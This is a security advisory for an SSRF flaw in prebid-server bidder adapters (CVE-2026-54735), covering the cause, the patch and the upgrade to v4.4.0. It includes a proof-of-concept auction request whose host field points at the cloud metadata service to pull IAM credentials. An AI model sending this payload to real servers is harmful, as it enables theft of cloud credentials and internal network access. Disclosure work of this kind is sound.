critical · 10CVE-2026-54735Jul 29, 2026

CVE-2026-54735: prebid-server Bidder Adapter Server-Side Request Forgery

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Certain prebid-server bidder adapters let callers supply a hostname parameter that is dropped verbatim into outbound ad-exchange URLs, so an attacker can redirect the server to internal network…

Packagegithub.com/prebid/prebid-server/v4
Ecosystemgo
Affected< 4.4.0
Fixed in4.4.0
CVE-2026-54735: prebid-server Bidder Adapter Server-Side Request Forgery

The problem

Multiple bidder adapters in prebid-server accept a user-controlled hostname (or similar URL component) via OpenRTB impression extension parameters and interpolate it directly into the URL used for the outbound bid request.

With no character or host validation in place, an attacker who can submit a bid request can point the server at any destination, including cloud metadata services (169.254.169.254), internal APIs, or private network hosts. The server then makes an authenticated HTTP request on the attacker's behalf, returning whatever the internal service responds with.

Proof of concept

A working proof-of-concept for CVE-2026-54735 in github.com/prebid/prebid-server/v4, with the exact payload below.

http
POST /openrtb2/auction HTTP/1.1
Host: prebid-server.example.com
Content-Type: application/json

{
  "id": "ssrf-test",
  "imp": [{
    "id": "1",
    "banner": {"format": [{"w": 300, "h": 250}]},
    "ext": {
      "affixads": {
        "host": "169.254.169.254/latest/meta-data/iam/security-credentials/role#"
      }
    }
  }],
  "site": {"page": "https://example.com"}
}

The affected adapters construct their endpoint URL by doing simple string interpolation: something like fmt.Sprintf("https://%s/bid", params.Host). Before v4.4.0, no regex or allowlist checked what characters or hostnames were legal, so supplying a value containing an IP address, a different domain, or a path-traversal sequence caused the server to fetch an attacker-chosen URL.

The patch in PR #4802 (commit 494ac271) adds hostname validation that rejects inputs containing characters outside the set permitted in a valid DNS label, effectively blocking IP literals, URL-embedded paths, and out-of-band redirects. The fix is applied at adapter config validation time, so a malformed host is rejected before any HTTP client is invoked.

The fix

Upgrade prebid-server to v4.4.0 or later. If an immediate upgrade is not possible, disable any bidder adapters that accept a dynamic host parameter in their configuration (see the affected-adapter list in PR #4802). There is no configuration-only workaround that fully mitigates the issue while keeping those adapters enabled.

Reporter not attributed.

References: [1][2][3][4][5]

Related research